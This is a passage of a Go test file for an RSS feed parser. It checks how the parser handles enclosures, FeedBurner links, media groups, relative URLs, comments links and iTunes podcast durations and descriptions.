TestParseEntryDescriptionWithEncodingAngleBracketsWithinCDATASection(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:content=\"http://purl.org/rss/1.0/modules/content/\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Item 1</title>\n\t\t\t\t<link>http://example.org/item1</link>\n\t\t\t\t<description><![CDATA[5 &lt; 8, ticker symbol &lt;BIGCO&gt;]]></description>\n\t\t\t</item>\n\t\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Content != `5 &lt; 8, ticker symbol &lt;BIGCO&gt;` {\n\t\tt.Errorf(\"Incorrect entry content, got: %q\", feed.Entries[0].Content)\n\t}\n}\n\nfunc TestParseEntryWithFeedBurnerLink(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:feedburner=\"http://rssnamespace.org/feedburner/ext/1.0\">\n\t\t<channel>\n\t\t\t<title>Example</title>\n\t\t\t<link>http://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Item 1</title>\n\t\t\t\t<link>http://example.org/item1</link>\n\t\t\t\t<feedburner:origLink>http://example.org/original</feedburner:origLink>\n\t\t\t</item>\n\t\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"http://example.org/original\" {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseEntryWithEnclosures(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t<title>My Podcast Feed</title>\n\t\t<link>http://example.org</link>\n\t\t<author>some.email@example.org</author>\n\t\t<item>\n\t\t\t<title>Podcasting with RSS</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t<description>An overview of RSS podcasting</description>\n\t\t\t<pubDate>Fri, 15 Jul 2005 00:00:00 -0500</pubDate>\n\t\t\t<guid isPermaLink=\"true\">http://www.example.org/entries/1</guid>\n\t\t\t<enclosure url=\"http://www.example.org/myaudiofile.mp3\"\n\t\t\t\t\tlength=\"12345\"\n\t\t\t\t\ttype=\"audio/mpeg\" />\n\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 1 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\tif feed.Entries[0].Enclosures[0].URL != \"http://www.example.org/myaudiofile.mp3\" {\n\t\tt.Errorf(\"Incorrect enclosure URL, got: %s\", feed.Entries[0].Enclosures[0].URL)\n\t}\n\n\tif feed.Entries[0].Enclosures[0].MimeType != \"audio/mpeg\" {\n\t\tt.Errorf(\"Incorrect enclosure type, got: %s\", feed.Entries[0].Enclosures[0].MimeType)\n\t}\n\n\tif feed.Entries[0].Enclosures[0].Size != 12345 {\n\t\tt.Errorf(\"Incorrect enclosure length, got: %d\", feed.Entries[0].Enclosures[0].Size)\n\t}\n}\n\nfunc TestParseEntryWithIncorrectEnclosureLength(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t<title>My Podcast Feed</title>\n\t\t<link>http://example.org</link>\n\t\t<author>some.email@example.org</author>\n\t\t<item>\n\t\t\t<title>Podcasting with RSS</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t<description>An overview of RSS podcasting</description>\n\t\t\t<pubDate>Fri, 15 Jul 2005 00:00:00 -0500</pubDate>\n\t\t\t<guid isPermaLink=\"true\">http://www.example.org/entries/1</guid>\n\t\t\t<enclosure url=\"http://www.example.org/myaudiofile.mp3\" length=\"invalid\" type=\"audio/mpeg\" />\n\t\t\t<enclosure url=\"http://www.example.org/myaudiofile.wav\" length=\" \" type=\"audio\" />\n\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 2 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\tif feed.Entries[0].Enclosures[0].URL != \"http://www.example.org/myaudiofile.mp3\" {\n\t\tt.Errorf(\"Incorrect enclosure URL, got: %s\", feed.Entries[0].Enclosures[0].URL)\n\t}\n\n\tif feed.Entries[0].Enclosures[0].MimeType != \"audio/mpeg\" {\n\t\tt.Errorf(\"Incorrect enclosure type, got: %s\", feed.Entries[0].Enclosures[0].MimeType)\n\t}\n\n\tif feed.Entries[0].Enclosures[0].Size != 0 {\n\t\tt.Errorf(\"Incorrect enclosure length, got: %d\", feed.Entries[0].Enclosures[0].Size)\n\t}\n\n\tif feed.Entries[0].Enclosures[1].Size != 0 {\n\t\tt.Errorf(\"Incorrect enclosure length, got: %d\", feed.Entries[0].Enclosures[0].Size)\n\t}\n}\n\nfunc TestParseEntryWithDuplicatedEnclosureURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t<title>My Podcast Feed</title>\n\t\t<link>http://example.org</link>\n\t\t<item>\n\t\t\t<title>Podcasting with RSS</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t<enclosure url=\"http://www.example.org/myaudiofile.mp3\" type=\"audio/mpeg\" />\n\t\t\t<enclosure url=\"   http://www.example.org/myaudiofile.mp3   \" type=\"audio/mpeg\" />\n\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 1 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\tif feed.Entries[0].Enclosures[0].URL != \"http://www.example.org/myaudiofile.mp3\" {\n\t\tt.Errorf(\"Incorrect enclosure URL, got: %s\", feed.Entries[0].Enclosures[0].URL)\n\t}\n}\n\nfunc TestParseEntryWithEmptyEnclosureURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t<title>My Podcast Feed</title>\n\t\t<link>http://example.org</link>\n\t\t<author>some.email@example.org</author>\n\t\t<item>\n\t\t\t<title>Podcasting with RSS</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t<description>An overview of RSS podcasting</description>\n\t\t\t<pubDate>Fri, 15 Jul 2005 00:00:00 -0500</pubDate>\n\t\t\t<guid isPermaLink=\"true\">http://www.example.org/entries/1</guid>\n\t\t\t<enclosure url=\" \" length=\"0\"/>\n\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 0 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n}\n\nfunc TestParseEntryWithRelativeEnclosureURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t<title>My Podcast Feed</title>\n\t\t<link>http://example.org</link>\n\t\t<author>some.email@example.org</author>\n\t\t<item>\n\t\t\t<title>Podcasting with RSS</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t<description>An overview of RSS podcasting</description>\n\t\t\t<pubDate>Fri, 15 Jul 2005 00:00:00 -0500</pubDate>\n\t\t\t<guid isPermaLink=\"true\">http://www.example.org/entries/1</guid>\n\t\t\t<enclosure url=\" /files/file.mp3  \"/>\n\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 1 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\tif feed.Entries[0].Enclosures[0].URL != \"http://example.org/files/file.mp3\" {\n\t\tt.Errorf(\"Incorrect enclosure URL, got: %q\", feed.Entries[0].Enclosures[0].URL)\n\t}\n}\n\nfunc TestParseEntryWithFeedBurnerEnclosures(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:feedburner=\"http://rssnamespace.org/feedburner/ext/1.0\">\n\t\t<channel>\n\t\t<title>My Example Feed</title>\n\t\t<link>http://example.org</link>\n\t\t<author>some.email@example.org</author>\n\t\t<item>\n\t\t\t<title>Example Item</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t<enclosure\n\t\t\t\turl=\"http://feedproxy.google.com/~r/example/~5/lpMyFSCvubs/File.mp3\"\n\t\t\t\tlength=\"76192460\"\n\t\t\t\ttype=\"audio/mpeg\" />\n\t\t\t<feedburner:origEnclosureLink>http://example.org/67ca416c-f22a-4228-a681-68fc9998ec10/File.mp3</feedburner:origEnclosureLink>\n\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 1 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\tif feed.Entries[0].Enclosures[0].URL != \"http://example.org/67ca416c-f22a-4228-a681-68fc9998ec10/File.mp3\" {\n\t\tt.Errorf(\"Incorrect enclosure URL, got: %s\", feed.Entries[0].Enclosures[0].URL)\n\t}\n\n\tif feed.Entries[0].Enclosures[0].MimeType != \"audio/mpeg\" {\n\t\tt.Errorf(\"Incorrect enclosure type, got: %s\", feed.Entries[0].Enclosures[0].MimeType)\n\t}\n\n\tif feed.Entries[0].Enclosures[0].Size != 76192460 {\n\t\tt.Errorf(\"Incorrect enclosure length, got: %d\", feed.Entries[0].Enclosures[0].Size)\n\t}\n}\n\nfunc TestParseEntryWithFeedBurnerEnclosuresAndRelativeURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:feedburner=\"http://rssnamespace.org/feedburner/ext/1.0\">\n\t\t<channel>\n\t\t<title>My Example Feed</title>\n\t\t<link>http://example.org</link>\n\t\t<item>\n\t\t\t<title>Example Item</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t<enclosure\n\t\t\t\turl=\"http://feedproxy.google.com/~r/example/~5/lpMyFSCvubs/File.mp3\"\n\t\t\t\tlength=\"76192460\"\n\t\t\t\ttype=\"audio/mpeg\" />\n\t\t\t<feedburner:origEnclosureLink>/67ca416c-f22a-4228-a681-68fc9998ec10/File.mp3</feedburner:origEnclosureLink>\n\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 1 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\tif feed.Entries[0].Enclosures[0].URL != \"http://example.org/67ca416c-f22a-4228-a681-68fc9998ec10/File.mp3\" {\n\t\tt.Errorf(\"Incorrect enclosure URL, got: %s\", feed.Entries[0].Enclosures[0].URL)\n\t}\n}\n\nfunc TestParseEntryWithRelativeURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<link>item.html</link>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Title != \"https://example.org/item.html\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseEntryWithCommentsURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Item 1</title>\n\t\t\t\t<link>https://example.org/item1</link>\n\t\t\t\t<comments>\n\t\t\t\t\thttps://example.org/comments\n\t\t\t\t</comments>\n\t\t\t\t<slash:comments>42</slash:comments>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].CommentsURL != \"https://example.org/comments\" {\n\t\tt.Errorf(\"Incorrect entry comments URL, got: %q\", feed.Entries[0].CommentsURL)\n\t}\n}\n\nfunc TestParseEntryWithInvalidCommentsURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t\t<channel>\n\t\t\t<link>https://example.org/</link>\n\t\t\t<item>\n\t\t\t\t<title>Item 1</title>\n\t\t\t\t<link>https://example.org/item1</link>\n\t\t\t\t<comments>\n\t\t\t\t\tSome text\n\t\t\t\t</comments>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].CommentsURL != \"\" {\n\t\tt.Errorf(\"Incorrect entry comments URL, got: %q\", feed.Entries[0].CommentsURL)\n\t}\n}\n\nfunc TestParseInvalidXml(t *testing.T) {\n\tdata := `garbage`\n\t_, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err == nil {\n\t\tt.Error(\"Parse should returns an error\")\n\t}\n}\n\nfunc TestParseFeedLinkWithInvalidCharacterEntity(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\">\n\t\t<channel>\n\t\t\t<link>https://example.org/a&b</link>\n\t\t\t<title>Example Feed</title>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/a&b\" {\n\t\tt.Errorf(`Incorrect url, got: %q`, feed.SiteURL)\n\t}\n}\n\nfunc TestParseEntryWithMediaGroup(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:media=\"http://search.yahoo.com/mrss/\">\n\t\t<channel>\n\t\t<title>My Example Feed</title>\n\t\t<link>https://example.org</link>\n\t\t<item>\n\t\t\t<title>Example Item</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t<enclosure type=\"application/x-bittorrent\" url=\"https://example.org/file3.torrent\" length=\"670053113\">\n\t\t\t</enclosure>\n\t\t\t<media:group>\n\t\t\t\t<media:content type=\"application/x-bittorrent\" url=\"https://example.org/file1.torrent\"></media:content>\n\t\t\t\t<media:content type=\"application/x-bittorrent\" url=\"https://example.org/file2.torrent\" isDefault=\"true\"></media:content>\n\t\t\t\t<media:content type=\"application/x-bittorrent\" url=\"https://example.org/file3.torrent\"></media:content>\n\t\t\t\t<media:content type=\"application/x-bittorrent\" url=\"https://example.org/file4.torrent\"></media:content>\n\t\t\t\t<media:content type=\"application/x-bittorrent\" url=\"https://example.org/file4.torrent\"></media:content>\n\t\t\t\t<media:content type=\"application/x-bittorrent\" url=\" file5.torrent  \" fileSize=\"42\"></media:content>\n\t\t\t\t<media:content type=\"application/x-bittorrent\" url=\"  \" fileSize=\"42\"></media:content>\n\t\t\t\t<media:rating>nonadult</media:rating>\n\t\t\t</media:group>\n\t\t\t<media:thumbnail url=\"https://example.org/image.jpg\" height=\"122\" width=\"223\"></media:thumbnail>\n\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\tif len(feed.Entries[0].Enclosures) != 6 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\texpectedResults := []struct {\n\t\turl      string\n\t\tmimeType string\n\t\tsize     int64\n\t}{\n\t\t{\"https://example.org/image.jpg\", \"image/*\", 0},\n\t\t{\"https://example.org/file3.torrent\", \"application/x-bittorrent\", 670053113},\n\t\t{\"https://example.org/file1.torrent\", \"application/x-bittorrent\", 0},\n\t\t{\"https://example.org/file2.torrent\", \"application/x-bittorrent\", 0},\n\t\t{\"https://example.org/file4.torrent\", \"application/x-bittorrent\", 0},\n\t\t{\"https://example.org/file5.torrent\", \"application/x-bittorrent\", 42},\n\t}\n\n\tfor index, enclosure := range feed.Entries[0].Enclosures {\n\t\tif expectedResults[index].url != enclosure.URL {\n\t\t\tt.Errorf(`Unexpected enclosure URL, got %q instead of %q`, enclosure.URL, expectedResults[index].url)\n\t\t}\n\n\t\tif expectedResults[index].mimeType != enclosure.MimeType {\n\t\t\tt.Errorf(`Unexpected enclosure type, got %q instead of %q`, enclosure.MimeType, expectedResults[index].mimeType)\n\t\t}\n\n\t\tif expectedResults[index].size != enclosure.Size {\n\t\t\tt.Errorf(`Unexpected enclosure size, got %d instead of %d`, enclosure.Size, expectedResults[index].size)\n\t\t}\n\t}\n}\n\nfunc TestParseEntryWithMediaContent(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:media=\"http://search.yahoo.com/mrss/\">\n\t\t<channel>\n\t\t<title>My Example Feed</title>\n\t\t<link>https://example.org</link>\n\t\t<item>\n\t\t\t<title>Example Item</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t<media:thumbnail url=\"https://example.org/thumbnail.jpg\" />\n\t\t\t<media:thumbnail url=\"https://example.org/thumbnail.jpg\" />\n\t\t\t<media:thumbnail url=\" thumbnail.jpg  \" />\n\t\t\t<media:thumbnail url=\"   \" />\n\t\t\t<media:content url=\"https://example.org/media1.jpg\" medium=\"image\">\n\t\t\t\t<media:title type=\"html\">Some Title for Media 1</media:title>\n\t\t\t</media:content>\n\t\t\t<media:content url=\"   /media2.jpg   \" medium=\"image\" />\n\t\t\t<media:content url=\"    \" medium=\"image\" />\n\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\tif len(feed.Entries[0].Enclosures) != 4 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\texpectedResults := []struct {\n\t\turl      string\n\t\tmimeType string\n\t\tsize     int64\n\t}{\n\t\t{\"https://example.org/thumbnail.jpg\", \"image/*\", 0},\n\t\t{\"https://example.org/thumbnail.jpg\", \"image/*\", 0},\n\t\t{\"https://example.org/media1.jpg\", \"image/*\", 0},\n\t\t{\"https://example.org/media2.jpg\", \"image/*\", 0},\n\t}\n\n\tfor index, enclosure := range feed.Entries[0].Enclosures {\n\t\tif expectedResults[index].url != enclosure.URL {\n\t\t\tt.Errorf(`Unexpected enclosure URL, got %q instead of %q`, enclosure.URL, expectedResults[index].url)\n\t\t}\n\n\t\tif expectedResults[index].mimeType != enclosure.MimeType {\n\t\t\tt.Errorf(`Unexpected enclosure type, got %q instead of %q`, enclosure.MimeType, expectedResults[index].mimeType)\n\t\t}\n\n\t\tif expectedResults[index].size != enclosure.Size {\n\t\t\tt.Errorf(`Unexpected enclosure size, got %d instead of %d`, enclosure.Size, expectedResults[index].size)\n\t\t}\n\t}\n}\n\nfunc TestParseEntryWithMediaPeerLink(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<rss version=\"2.0\" xmlns:media=\"http://search.yahoo.com/mrss/\">\n\t\t<channel>\n\t\t<title>My Example Feed</title>\n\t\t<link>https://website.example.org</link>\n\t\t<item>\n\t\t\t<title>Example Item</title>\n\t\t\t<link>http://www.example.org/entries/1</link>\n\t\t\t<media:peerLink type=\"application/x-bittorrent\" href=\"https://www.example.org/file.torrent\" />\n\t\t\t<media:peerLink type=\"application/x-bittorrent\" href=\"https://www.example.org/file.torrent\" />\n\t\t\t<media:peerLink type=\"application/x-bittorrent\" href=\"  file2.torrent   \" />\n\t\t\t<media:peerLink type=\"application/x-bittorrent\" href=\"    \" />\n\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 2 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\texpectedResults := []struct {\n\t\turl      string\n\t\tmimeType string\n\t\tsize     int64\n\t}{\n\t\t{\"https://www.example.org/file.torrent\", \"application/x-bittorrent\", 0},\n\t\t{\"https://website.example.org/file2.torrent\", \"application/x-bittorrent\", 0},\n\t}\n\n\tfor index, enclosure := range feed.Entries[0].Enclosures {\n\t\tif expectedResults[index].url != enclosure.URL {\n\t\t\tt.Errorf(`Unexpected enclosure URL, got %q instead of %q`, enclosure.URL, expectedResults[index].url)\n\t\t}\n\n\t\tif expectedResults[index].mimeType != enclosure.MimeType {\n\t\t\tt.Errorf(`Unexpected enclosure type, got %q instead of %q`, enclosure.MimeType, expectedResults[index].mimeType)\n\t\t}\n\n\t\tif expectedResults[index].size != enclosure.Size {\n\t\t\tt.Errorf(`Unexpected enclosure size, got %d instead of %d`, enclosure.Size, expectedResults[index].size)\n\t\t}\n\t}\n}\n\nfunc TestParseItunesDuration(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t<rss version=\"2.0\" xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\">\n\t\t<channel>\n\t\t\t<title>Podcast Example</title>\n\t\t\t<link>http://www.example.com/index.html</link>\n\t\t\t<item>\n\t\t\t\t<title>Podcast Episode</title>\n\t\t\t\t<guid>http://example.com/episode.m4a</guid>\n\t\t\t\t<pubDate>Tue, 08 Mar 2016 12:00:00 GMT</pubDate>\n\t\t\t\t<itunes:duration>1:23:45</itunes:duration>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := 83\n\tresult := feed.Entries[0].ReadingTime\n\tif expected != result {\n\t\tt.Errorf(`Unexpected podcast duration, got %d instead of %d`, result, expected)\n\t}\n}\n\nfunc TestParseIncorrectItunesDuration(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t\t<rss version=\"2.0\" xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\">\n\t\t<channel>\n\t\t\t<title>Podcast Example</title>\n\t\t\t<link>http://www.example.com/index.html</link>\n\t\t\t<item>\n\t\t\t\t<title>Podcast Episode</title>\n\t\t\t\t<guid>http://example.com/episode.m4a</guid>\n\t\t\t\t<pubDate>Tue, 08 Mar 2016 12:00:00 GMT</pubDate>\n\t\t\t\t<itunes:duration>invalid</itunes:duration>\n\t\t\t</item>\n\t\t</channel>\n\t\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texpected := 0\n\tresult := feed.Entries[0].ReadingTime\n\tif expected != result {\n\t\tt.Errorf(`Unexpected podcast duration, got %d instead of %d`, result, expected)\n\t}\n}\n\nfunc TestEntryDescriptionFromItunesSummary(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t<rss version=\"2.0\" xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\">\n\t\t<channel>\n\t\t\t<title>Podcast Example</title>\n\t\t\t<link>http://www.example.com/index.html</link>\n\t\t\t<item>\n\t\t\t\t<title>Podcast Episode</title>\n\t\t\t\t<guid>http://example.com/episode.m4a</guid>\n\t\t\t\t<pubDate>Tue, 08 Mar 2016 12:00:00 GMT</pubDate>\n\t\t\t\t<itunes:subtitle>Episode Subtitle</itunes:subtitle>\n\t\t\t\t<itunes:summary>Episode Summary</itunes:summary>\n\t\t\t</item>\n\t\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\texpected := \"Episode Summary\"\n\tresult := feed.Entries[0].Content\n\tif expected != result {\n\t\tt.Errorf(`Unexpected podcast content, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestEntryDescriptionFromItunesSubtitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t<rss version=\"2.0\" xmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\">\n\t\t<channel>\n\t\t\t<title>Podcast Example</title>\n\t\t\t<link>http://www.example.com/index.html</link>\n\t\t\t<item>\n\t\t\t\t<title>Podcast Episode</title>\n\t\t\t\t<guid>http://example.com/episode.m4a</guid>\n\t\t\t\t<pubDate>Tue, 08 Mar 2016 12:00:00 GMT</pubDate>\n\t\t\t\t<itunes:subtitle>Episode Subtitle</itunes:subtitle>\n\t\t\t</item>\n\t\t</channel>\n\t</rss>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\texpected := \"Episode Subtitle\"\n\tresult := feed.Entries[0].Content\n\tif expected != result {\n\t\tt.Errorf(`Unexpected podcast content, got %q instead of %q`, result, expected)\n\t}\n}\n\nfunc TestEntryDescriptionFromGooglePlayDescription(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\t<rss version=\"2.0\"\n\t\txmlns:googleplay=\"http://www.google.com/schemas/play-podcasts/1.0\"\n\t\txmlns:itunes=\"http://www.itunes.com/dtds/podcast-1.0.dtd\">\n\t\t<channel>\n\t\t\t<title>Podcast Example</title>\n\t\t\t<link>http://www.example.com/index.html</link>\n\t\t\t<item>\n\t\t\t\t<title>Podcast Episode</title>\n\t\t\t\t<guid>http://example.com/episode.m4a</guid>\n\t\t\t\t<pubDate>Tue, 08 Mar 2016 12:00:00 GMT</pubDate>\n\t\t\t\t<itunes:subtitle>Episode 